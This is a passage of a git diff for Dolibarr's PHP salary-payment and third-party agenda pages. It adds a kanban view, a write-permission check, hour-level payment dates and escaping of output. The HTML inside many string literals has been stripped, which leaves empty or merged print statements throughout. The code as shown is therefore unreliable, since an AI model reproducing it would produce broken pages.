      ".$salstatic->getNomUrl(1)."'.dol_escape_htmltag($obj->label)."'.dol_print_date($db->jdate($obj->datesp), 'day')."'.dol_print_date($db->jdate($obj->dateep), 'day')."'.$userstatic->getNomUrl(1)."'; - if (!empty($obj->payment_code)) print $langs->trans("PaymentTypeShort".$obj->payment_code); - print ''; - if ($obj->fk_account > 0) { - //$accountstatic->fetch($obj->fk_bank); - $accountstatic->id = $obj->bid; - $accountstatic->ref = $obj->bref; - $accountstatic->label = $obj->blabel; - $accountstatic->number = $obj->bnumber; - $accountstatic->iban = $obj->iban; - $accountstatic->bic = $obj->bic; - $accountstatic->currency_code = $langs->trans("Currency".$obj->currency_code); - $accountstatic->account_number = $obj->account_number; - $accountstatic->clos = $obj->clos; - - if (isModEnabled('accounting')) { - $accountstatic->account_number = $obj->account_number; - - $accountingjournal = new AccountingJournal($db); - $accountingjournal->fetch($obj->fk_accountancy_journal); - - $accountstatic->accountancy_journal = $accountingjournal->getNomUrl(0, 1, 1, '', 1); - } - //$accountstatic->label = $obj->blabel; - print $accountstatic->getNomUrl(1); - } else { - print ' '; + if ($mode == 'kanban') { + if ($i == 0) { + print '
      '; + print '
      '; } + // Output Kanban + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + } + print $salstatic->getKanbanView('', array('user' => $userstatic)); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '".$salstatic->getNomUrl(1)."'.dol_escape_htmltag($obj->label)."'.dol_print_date($db->jdate($obj->datesp), 'day')."'.dol_print_date($db->jdate($obj->dateep), 'day')."'.$userstatic->getNomUrl(-1)."payment_code)).'">'; + if (!empty($obj->payment_code)) print $langs->trans("PaymentTypeShort".$obj->payment_code); print ''; + if ($obj->fk_account > 0) { + //$accountstatic->fetch($obj->fk_bank); + $accountstatic->id = $obj->bid; + $accountstatic->ref = $obj->bref; + $accountstatic->label = $obj->blabel; + $accountstatic->number = $obj->bnumber; + $accountstatic->iban = $obj->iban; + $accountstatic->bic = $obj->bic; + $accountstatic->currency_code = $langs->trans("Currency".$obj->currency_code); + $accountstatic->account_number = $obj->account_number; + $accountstatic->clos = $obj->clos; - // Amount - print ''.price($obj->amount).''.$salstatic->LibStatut($obj->paye, 5, $obj->alreadypayed).''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($object->id, $arrayofselected)) { - $selected = 1; + $accountstatic->accountancy_journal = $accountingjournal->getNomUrl(0, 1, 1, '', 1); + } + //$accountstatic->label = $obj->blabel; + print $accountstatic->getNomUrl(1); + } else { + print ' '; + } + print '
      '.price($obj->amount).''.$salstatic->LibStatut($obj->paye, 5, $obj->alreadypayed).''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("NoRecordFound").'
      '.$langs->trans("NoRecordFound").'
      '."\n"; diff --git a/htdocs/salaries/paiement_salary.php b/htdocs/salaries/paiement_salary.php index 30279ee3538..3cf34df6ed9 100644 --- a/htdocs/salaries/paiement_salary.php +++ b/htdocs/salaries/paiement_salary.php @@ -57,7 +57,7 @@ restrictedArea($user, 'salaries', $object->id, 'salary', ''); * Actions */ -if ($action == 'add_payment' || ($action == 'confirm_paiement' && $confirm == 'yes')) { +if (($action == 'add_payment' || ($action == 'confirm_paiement' && $confirm == 'yes')) && $user->hasRight('salaries', 'write')) { $error = 0; if ($cancel) { @@ -66,7 +66,7 @@ if ($action == 'add_payment' || ($action == 'confirm_paiement' && $confirm == 'y exit; } - $datepaye = dol_mktime(12, 0, 0, GETPOST("remonth", 'int'), GETPOST("reday", 'int'), GETPOST("reyear", 'int')); + $datepaye = dol_mktime(GETPOST("rehour", 'int'), GETPOST("remin", 'int'), GETPOST("resec", 'int'), GETPOST("remonth", 'int'), GETPOST("reday", 'int'), GETPOST("reyear", 'int'), 'tzuserrel'); if (!(GETPOST("paiementtype", 'int') > 0)) { setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentities("PaymentMode")), null, 'errors'); @@ -210,9 +210,9 @@ if ($action == 'create') { print '
      '.$langs->trans("RemainderToPay").''.price($total-$sumpaid,0,$outputlangs,1,-1,-1,$conf->currency).'
      '.$langs->trans("Date").''; - $datepaye = dol_mktime(12, 0, 0, GETPOST("remonth", 'int'), GETPOST("reday", 'int'), GETPOST("reyear", 'int')); + $datepaye = dol_mktime(GETPOST("rehour", 'int'), GETPOST("remin", 'int'), GETPOST("resec", 'int'), GETPOST("remonth", 'int'), GETPOST("reday", 'int'), GETPOST("reyear", 'int')); $datepayment = empty($conf->global->MAIN_AUTOFILL_DATE) ? (GETPOST("remonth") ? $datepaye : -1) : ''; - print $form->selectDate($datepayment, '', '', '', '', "add_payment", 1, 1); + print $form->selectDate($datepayment, '', 1, 1, 0, "add_payment", 1, 1, 0, '', '', $salary->dateep, '', 1, $langs->trans("DateEnd")); print "
      '; +print '
      '; // Ref /*print ''; @@ -136,21 +146,26 @@ print $form->showrefnav($object,'id','',1,'rowid','id'); print '';*/ // Date -print ''; +print '"; +print ''; // Mode -print ''; // Numero -print ''; +print ''; // Montant -print ''; +print ''; // Note -print ''; +print ''; // Bank account if (isModEnabled("banque")) { @@ -160,7 +175,7 @@ if (isModEnabled("banque")) { print ''; print ''; - print ''; print ''; diff --git a/htdocs/salaries/payments.php b/htdocs/salaries/payments.php index 8fcc7183dae..15b50c6dfc3 100644 --- a/htdocs/salaries/payments.php +++ b/htdocs/salaries/payments.php @@ -45,6 +45,8 @@ $toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'bomlist'; // To manage different context of search $backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page $optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') +$mode = GETPOST('mode', 'alpha'); // mode view for result + // Load variable for pagination $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; @@ -95,6 +97,7 @@ $search_chq_number = GETPOST('search_chq_number', 'int'); $filtre = GETPOST("filtre", 'restricthtml'); +$search_type_id = ''; if (!GETPOST('search_type_id', 'int')) { $newfiltre = str_replace('filtre=', '', $filtre); $filterarray = explode('-', $newfiltre); @@ -316,6 +319,9 @@ llxHeader('', $title, $help_url); $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -385,11 +391,16 @@ print ''; print ''; print ''; print ''; +print ''; + $url = DOL_URL_ROOT.'/salaries/card.php?action=create'; if (!empty($socid)) { $url .= '&socid='.$socid; } +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); $newcardbutton = dolGetButtonTitle($langs->trans('NewSalaryPayment'), '', 'fa fa-plus-circle', $url, '', $user->rights->salaries->write); print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'object_payment', 0, $newcardbutton, '', $limit, 0, 0, 1); @@ -522,7 +533,8 @@ if (isset($extrafields->attributes[$object->table_element]['computed']) && is_ar $i = 0; $total = 0; $totalarray = array(); -while ($i < ($limit ? min($num, $limit) : $num)) { +$totalarray['nbfield'] = 0; +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); if (empty($obj)) { break; @@ -532,9 +544,6 @@ while ($i < ($limit ? min($num, $limit) : $num)) { // Store properties in $object $object->setVarsFromFetchObj($obj); - // Show here line of result - print ''; - $userstatic->id = $obj->uid; $userstatic->lastname = $obj->lastname; $userstatic->firstname = $obj->firstname; @@ -549,136 +558,170 @@ while ($i < ($limit ? min($num, $limit) : $num)) { $paymentsalstatic->id = $obj->rowid; $paymentsalstatic->ref = $obj->rowid; + $paymentsalstatic->amount = $obj->amount; + $paymentsalstatic->fk_typepayment = $obj->payment_code; + $paymentsalstatic->datec = $obj->dateep; + $paymentsalstatic->datep = $obj->datep; - // Ref - print "\n"; - if (!$i) { - $totalarray['nbfield']++; - } + $accountlinestatic->id = $obj->fk_bank; + $accountlinestatic->ref = $obj->fk_bank; + $paymentsalstatic->fk_bank = $accountlinestatic->getNomUrl(1); + $paymentsalstatic->fk_user_author = $userstatic->getNomUrl(1); - // Ref salary - print "\n"; - if (!$i) { - $totalarray['nbfield']++; - } + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + // Show here line of result + print ''; + // Ref + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } - // Label payment - print "\n"; - if (!$i) { - $totalarray['nbfield']++; - } + // Date payment + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } - // Date end period - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } + // Ref salary + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } - // Date payment - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } + // Label payment + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } - // Date value - /*print '\n"; - if (!$i) $totalarray['nbfield']++;*/ + // Date end period + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } - // Employee - print "\n"; - if (!$i) { - $totalarray['nbfield']++; - } + // Date payment + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } - // Type - print ''; - if (!$i) { - $totalarray['nbfield']++; - } + // Date value + /*print '\n"; + if (!$i) $totalarray['nbfield']++;*/ - // Chq number - print ''; - if (!$i) { - $totalarray['nbfield']++; - } + // Employee + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } - // Account - if (isModEnabled("banque")) { - // Bank transaction + // Type print ''; if (!$i) { $totalarray['nbfield']++; } - print ''; + if (!$i) { + $totalarray['nbfield']++; + } - if (isModEnabled('accounting')) { - $accountstatic->account_number = $obj->account_number; - - $accountingjournal = new AccountingJournal($db); - $accountingjournal->fetch($obj->fk_accountancy_journal); - - $accountstatic->accountancy_journal = $accountingjournal->getNomUrl(0, 1, 1, '', 1); + // Account + if (isModEnabled("banque")) { + // Bank transaction + print ''; + if (!$i) { + $totalarray['nbfield']++; } - $accountstatic->label = $obj->blabel; - if ($accountstatic->id > 0) { - print $accountstatic->getNomUrl(1); + + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Amount + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'totalttcfield'; + } + if (!$i) { + $totalarray['val']['totalttcfield'] = $obj->amount; } else { - print ' '; + $totalarray['val']['totalttcfield'] += $obj->amount; + } + + + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Action column + print ''; if (!$i) { $totalarray['nbfield']++; } - } - // Amount - print ''; - if (!$i) { - $totalarray['nbfield']++; + print ''."\n"; } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'totalttcfield'; - } - $totalarray['val']['totalttcfield'] += $obj->amount; - - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Action column - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - - print ''."\n"; - $i++; } diff --git a/htdocs/salaries/stats/index.php b/htdocs/salaries/stats/index.php index ba5d254f22b..c18f59a754a 100644 --- a/htdocs/salaries/stats/index.php +++ b/htdocs/salaries/stats/index.php @@ -279,7 +279,7 @@ print '
      '.$langs->trans('Ref').'
      '.$langs->trans('Date').''.dol_print_date($object->datep, 'day').'
      '; +print $form->editfieldkey("Date", 'datep', $object->datep, $object, 1, 'datehourpicker'); +print ''; +print $form->editfieldval("Date", 'datep', $object->datep, $object, 1, 'datehourpicker', '', null, null, '', 0, '', 'id', 'tzuserrel', array('addnowlink'=>1)); +print "
      '.$langs->trans('Mode').''; +print '
      '.$langs->trans('Mode').''; print $langs->trans("PaymentType".$object->type_code); print '
      '.$langs->trans('Numero').''.$object->num_payment.'
      '.$langs->trans('Numero').''.dol_escape_htmltag($object->num_payment).'
      '.$langs->trans('Amount').''.price($object->amount, 0, $outputlangs, 1, -1, -1, $conf->currency).'
      '.$langs->trans('Amount').''.price($object->amount, 0, $langs, 1, -1, -1, $conf->currency).'
      '.$langs->trans('Note').''.nl2br($object->note).'
      '.$langs->trans('Note').''.dol_nl2br($object->note_private).'
      '.$langs->trans('BankTransactionLine').''; + print ''; print $bankline->getNomUrl(1, 0, 'showall'); print '
      ".$paymentsalstatic->getNomUrl(1)."".$salstatic->getNomUrl(1)."
      '; + print '
      '; + } + // Output Kanban + print $paymentsalstatic->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      ".$paymentsalstatic->getNomUrl(1)."".dol_trunc($obj->label, 40)."'.dol_print_date($db->jdate($obj->datep), 'dayhour', 'tzuserrel')."'.dol_print_date($db->jdate($obj->dateep), 'day')."".$salstatic->getNomUrl(1)."'.dol_print_date($db->jdate($obj->datep), 'day')."".dol_trunc($obj->label, 40)."'.dol_print_date($db->jdate($obj->datev), 'day')."'.dol_print_date($db->jdate($obj->dateep), 'day')."".$userstatic->getNomUrl(1)."'.dol_print_date($db->jdate($obj->datep), 'day')."'; - print $langs->trans("PaymentTypeShort".$obj->payment_code); - print ''.dol_print_date($db->jdate($obj->datev), 'day')."'.$obj->num_payment.'".$userstatic->getNomUrl(1)."'; - $accountlinestatic->id = $obj->fk_bank; - print $accountlinestatic->getNomUrl(1); + print $langs->trans("PaymentTypeShort".$obj->payment_code); print ''; - if ($obj->fk_bank > 0) { - //$accountstatic->fetch($obj->fk_bank); - $accountstatic->id = $obj->bid; - $accountstatic->ref = $obj->bref; - $accountstatic->number = $obj->bnumber; - $accountstatic->iban = $obj->iban; - $accountstatic->bic = $obj->bic; - $accountstatic->currency_code = $langs->trans("Currency".$obj->currency_code); - $accountstatic->clos = $obj->clos; + // Chq number + print ''.$obj->num_payment.''; + $accountlinestatic->id = $obj->fk_bank; + print $accountlinestatic->getNomUrl(1); + print ''; + if ($obj->fk_bank > 0) { + //$accountstatic->fetch($obj->fk_bank); + $accountstatic->id = $obj->bid; + $accountstatic->ref = $obj->bref; + $accountstatic->number = $obj->bnumber; + $accountstatic->iban = $obj->iban; + $accountstatic->bic = $obj->bic; + $accountstatic->currency_code = $langs->trans("Currency".$obj->currency_code); + $accountstatic->clos = $obj->clos; + + if (isModEnabled('accounting')) { + $accountstatic->account_number = $obj->account_number; + + $accountingjournal = new AccountingJournal($db); + $accountingjournal->fetch($obj->fk_accountancy_journal); + + $accountstatic->accountancy_journal = $accountingjournal->getNomUrl(0, 1, 1, '', 1); + } + $accountstatic->label = $obj->blabel; + if ($accountstatic->id > 0) { + print $accountstatic->getNomUrl(1); + } + } else { + print ' '; } + print ''.price($obj->amount).''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; } print ''.price($obj->amount).'
      '; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($object->id, $arrayofselected)) { - $selected = 1; - } - print ''; - } - print '
      '; print '
      '; -print '
      '; +print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/societe/agenda.php b/htdocs/societe/agenda.php index 9e6c10a0ccd..c7a50fd0f19 100644 --- a/htdocs/societe/agenda.php +++ b/htdocs/societe/agenda.php @@ -32,10 +32,13 @@ require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php'; // Load translation files required by the page $langs->loadLangs(array('agenda', 'bills', 'companies', 'orders', 'propal')); +$contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'thirdpartyagenda'; if (GETPOST('actioncode', 'array')) { $actioncode = GETPOST('actioncode', 'array', 3); @@ -43,18 +46,12 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); -// Security check -$socid = GETPOST('socid', 'int'); -if ($user->socid) { - $socid = $user->socid; -} -$result = restrictedArea($user, 'societe', $socid, '&societe'); - $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); @@ -72,9 +69,26 @@ if (!$sortorder) { $sortorder = 'DESC,DESC'; } +// Initialize technical objects +$object = new Societe($db); + // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context $hookmanager->initHooks(array('agendathirdparty')); +// Security check +$socid = GETPOST('socid', 'int'); +if ($user->socid) { + $socid = $user->socid; +} + +$result = $object->fetch($socid); +if ($result <= 0) { + accessforbidden('Third party not found'); +} + +$result = restrictedArea($user, 'societe', $socid, '&societe'); + + /* * Actions @@ -108,104 +122,106 @@ if (empty($reshook)) { $form = new Form($db); -if ($socid > 0) { - require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; - require_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php'; +$title = $langs->trans("Agenda"); +if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/', $conf->global->MAIN_HTML_TITLE) && $object->name) { + $title = $object->name." - ".$title; +} +$help_url = ''; +llxHeader('', $title, $help_url); - $object = new Societe($db); - $result = $object->fetch($socid); +if (isModEnabled('notification')) { + $langs->load("mails"); +} +$head = societe_prepare_head($object); - $title = $langs->trans("Agenda"); - if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/', $conf->global->MAIN_HTML_TITLE) && $object->name) { - $title = $object->name." - ".$title; + +print dol_get_fiche_head($head, 'agenda', $langs->trans("ThirdParty"), -1, $object->picto); + +$linkback = ''.$langs->trans("BackToList").''; + +$morehtmlref = ''; + +dol_banner_tab($object, 'socid', $linkback, ($user->socid ? 0 : 1), 'rowid', 'nom', $morehtmlref); + +print '
      '; + +print '
      '; + +$object->info($socid); +dol_print_object_info($object, 1); + +print '
      '; + +print dol_get_fiche_end(); + + + +// Actions buttons + +$objthirdparty = $object; +$objcon = new stdClass(); + +$out = ''; +$permok = $user->hasRight('agenda', 'myactions', 'create'); +if ((!empty($objthirdparty->id) || !empty($objcon->id)) && $permok) { + if (is_object($objthirdparty) && get_class($objthirdparty) == 'Societe') { + $out .= '&originid='.$objthirdparty->id.($objthirdparty->id > 0 ? '&socid='.$objthirdparty->id : '').'&backtopage='.urlencode($_SERVER['PHP_SELF'].($objthirdparty->id > 0 ? '?socid='.$objthirdparty->id : '')); } - llxHeader('', $title); + $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : ''); + $out .= '&datep='.dol_print_date(dol_now(), 'dayhourlog'); +} - if (isModEnabled('notification')) { - $langs->load("mails"); - } - $head = societe_prepare_head($object); +$morehtmlright = ''; - print dol_get_fiche_head($head, 'agenda', $langs->trans("ThirdParty"), -1, 'company'); +$messagingUrl = DOL_URL_ROOT.'/societe/messaging.php?socid='.$object->id; +$morehtmlright .= dolGetButtonTitle($langs->trans('ShowAsConversation'), '', 'fa fa-comments imgforviewmode', $messagingUrl, '', 1); +$messagingUrl = DOL_URL_ROOT.'/societe/agenda.php?socid='.$object->id; +$morehtmlright .= dolGetButtonTitle($langs->trans('MessageListViewType'), '', 'fa fa-bars imgforviewmode', $messagingUrl, '', 2); - $linkback = ''.$langs->trans("BackToList").''; +// // Show link to send an email (if read and not closed) +// $btnstatus = $object->status < Ticket::STATUS_CLOSED && $action != "presend" && $action != "presend_addmessage"; +// $url = 'card.php?track_id='.$object->track_id.'&action=presend_addmessage&mode=init&private_message=0&send_email=1&backtopage='.urlencode($_SERVER["PHP_SELF"].'?track_id='.$object->track_id).'#formmailbeforetitle'; +// $morehtmlright .= dolGetButtonTitle($langs->trans('SendMail'), '', 'fa fa-paper-plane', $url, 'email-title-button', $btnstatus); - dol_banner_tab($object, 'socid', $linkback, ($user->socid ? 0 : 1), 'rowid', 'nom'); +// // Show link to add a private message (if read and not closed) +// $btnstatus = $object->status < Ticket::STATUS_CLOSED && $action != "presend" && $action != "presend_addmessage"; +// $url = 'card.php?track_id='.$object->track_id.'&action=presend_addmessage&mode=init&backtopage='.urlencode($_SERVER["PHP_SELF"].'?track_id='.$object->track_id).'#formmailbeforetitle'; +// $morehtmlright .= dolGetButtonTitle($langs->trans('TicketAddMessage'), '', 'fa fa-comment-dots', $url, 'add-new-ticket-title-button', $btnstatus); - print '
      '; - - print '
      '; - - $object->info($socid); - dol_print_object_info($object, 1); - - print '
      '; - - print dol_get_fiche_end(); - - - - // Actions buttons - - $objthirdparty = $object; - $objcon = new stdClass(); - - $out = ''; - $permok = $user->hasRight('agenda', 'myactions', 'create'); - if ((!empty($objthirdparty->id) || !empty($objcon->id)) && $permok) { - if (is_object($objthirdparty) && get_class($objthirdparty) == 'Societe') { - $out .= '&originid='.$objthirdparty->id.($objthirdparty->id > 0 ? '&socid='.$objthirdparty->id : '').'&backtopage='.urlencode($_SERVER['PHP_SELF'].($objthirdparty->id > 0 ? '?socid='.$objthirdparty->id : '')); - } - $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : '').'&percentage=-1'; - $out .= '&datep='.dol_print_date(dol_now(), 'dayhourlog'); - } - - $morehtmlright = ''; - - $messagingUrl = DOL_URL_ROOT.'/societe/messaging.php?socid='.$object->id; - $morehtmlright .= dolGetButtonTitle($langs->trans('ShowAsConversation'), '', 'fa fa-comments imgforviewmode', $messagingUrl, '', 1); - $messagingUrl = DOL_URL_ROOT.'/societe/agenda.php?socid='.$object->id; - $morehtmlright .= dolGetButtonTitle($langs->trans('MessageListViewType'), '', 'fa fa-bars imgforviewmode', $messagingUrl, '', 2); - - // // Show link to send an email (if read and not closed) - // $btnstatus = $object->status < Ticket::STATUS_CLOSED && $action != "presend" && $action != "presend_addmessage"; - // $url = 'card.php?track_id='.$object->track_id.'&action=presend_addmessage&mode=init&private_message=0&send_email=1&backtopage='.urlencode($_SERVER["PHP_SELF"].'?track_id='.$object->track_id).'#formmailbeforetitle'; - // $morehtmlright .= dolGetButtonTitle($langs->trans('SendMail'), '', 'fa fa-paper-plane', $url, 'email-title-button', $btnstatus); - - // // Show link to add a private message (if read and not closed) - // $btnstatus = $object->status < Ticket::STATUS_CLOSED && $action != "presend" && $action != "presend_addmessage"; - // $url = 'card.php?track_id='.$object->track_id.'&action=presend_addmessage&mode=init&backtopage='.urlencode($_SERVER["PHP_SELF"].'?track_id='.$object->track_id).'#formmailbeforetitle'; - // $morehtmlright .= dolGetButtonTitle($langs->trans('TicketAddMessage'), '', 'fa fa-comment-dots', $url, 'add-new-ticket-title-button', $btnstatus); - - if (isModEnabled('agenda')) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { - $morehtmlright .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out); - } - } - - if (isModEnabled('agenda') && (!empty($user->rights->agenda->myactions->read) || !empty($user->rights->agenda->allactions->read))) { - print '
      '; - - $param = '&socid='.urlencode($socid); - if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { - $param .= '&contextpage='.urlencode($contextpage); - } - if ($limit > 0 && $limit != $conf->liste_limit) { - $param .= '&limit='.urlencode($limit); - } - - // print load_fiche_titre($langs->trans("ActionsOnCompany"), $newcardbutton, ''); - print_barre_liste($langs->trans("ActionsOnCompany"), 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, '', 0, -1, '', 0, $morehtmlright, '', 0, 1, 1); - - // List of all actions - $filters = array(); - $filters['search_agenda_label'] = $search_agenda_label; - - // TODO Replace this with same code than into list.php - show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder); +if (isModEnabled('agenda')) { + if ($user->hasRight('agenda', 'myactions', 'create') || $user->hasRight('agenda', 'allactions', 'create')) { + $morehtmlright .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out); } } +if (isModEnabled('agenda') && (!empty($user->rights->agenda->myactions->read) || !empty($user->rights->agenda->allactions->read))) { + print '
      '; + + $param = '&socid='.urlencode($socid); + if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); + } + if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); + } + + // Try to know count of actioncomm from cache + require_once DOL_DOCUMENT_ROOT.'/core/lib/memory.lib.php'; + $cachekey = 'count_events_thirdparty_'.$object->id; + $nbEvent = dol_getcache($cachekey); + + print_barre_liste($langs->trans("ActionsOnCompany").(is_numeric($nbEvent) ? '('.$nbEvent.')': ''), 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, '', 0, -1, '', 0, $morehtmlright, '', 0, 1, 1); + + // List of all actions + $filters = array(); + $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; + + // TODO Replace this with same code than into list.php + show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, $object->module); +} + + // End of page llxFooter(); $db->close(); diff --git a/htdocs/societe/canvas/actions_card_common.class.php b/htdocs/societe/canvas/actions_card_common.class.php index fc8794aa1a8..a2b320e50db 100644 --- a/htdocs/societe/canvas/actions_card_common.class.php +++ b/htdocs/societe/canvas/actions_card_common.class.php @@ -70,6 +70,8 @@ abstract class ActionsCardCommon $object->fetch($id, $ref); } $this->object = $object; + + return $object; } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps diff --git a/htdocs/societe/canvas/company/actions_card_company.class.php b/htdocs/societe/canvas/company/actions_card_company.class.php index 7aa46178235..1e034d46322 100644 --- a/htdocs/societe/canvas/company/actions_card_company.class.php +++ b/htdocs/societe/canvas/company/actions_card_company.class.php @@ -88,7 +88,7 @@ class ActionsCardCompany extends ActionsCardCommon { // phpcs:enable global $conf, $langs, $user, $mysoc; - global $form, $formadmin, $formcompany; + global $form, $formcompany; $ret = $this->getObject($id, $ref); diff --git a/htdocs/societe/canvas/company/tpl/card_view.tpl.php b/htdocs/societe/canvas/company/tpl/card_view.tpl.php index 22c46cb93b5..50541de2dd6 100644 --- a/htdocs/societe/canvas/company/tpl/card_view.tpl.php +++ b/htdocs/societe/canvas/company/tpl/card_view.tpl.php @@ -284,7 +284,7 @@ for ($i = 1; $i <= 4; $i++) { $filedir = $conf->societe->multidir_output[$this->control->tpl['entity']].'/'.$socid; $urlsource = $_SERVER["PHP_SELF"]."?socid=".$socid; $genallowed = $user->hasRight('societe', 'lire'); -$delallowed = $user->rights->societe->creer; +$delallowed = $user->hasRight('societe', 'creer'); print $formfile->showdocuments('company', $socid, $filedir, $urlsource, $genallowed, $delallowed, '', 0, 0, 0, 28, 0, '', 0, '', $objcanvas->control->object->default_lang); ?> diff --git a/htdocs/societe/canvas/individual/tpl/card_view.tpl.php b/htdocs/societe/canvas/individual/tpl/card_view.tpl.php index 11716519f16..3d76eae2f4a 100644 --- 